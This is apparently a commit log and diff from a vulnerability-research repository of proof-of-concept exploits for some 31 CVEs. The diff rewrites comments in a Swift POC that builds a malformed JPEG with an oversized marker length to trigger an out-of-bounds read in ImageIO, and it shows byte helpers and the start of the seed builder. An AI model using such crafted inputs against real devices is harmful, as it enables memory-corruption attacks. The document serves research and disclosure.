v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112634/CVE-2026-112634.swift

@@ -1,19 +1,8 @@
 // iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
-// 原语: OOB 读 · 进程内 · tier 2
-// Primitive: OOB read · in-process · tier 2
-//
-// [zh] JPEG 标记长度越界
-// 当标记声明的长度远超实际存在的字节数时，27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析，导致越界读取；27.2 直接中止解析。
-//
-// [en] JPEG marker length out of bounds
-// When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING:
-// check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse.
-// ── 判别 / oracle ──
-// 长度 0xFFEE，实际负载 28 字节。
-
+// JPEG marker length out of bounds
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
+// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
 enum JPEGPayload {
 static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
         var out = minimalSOI()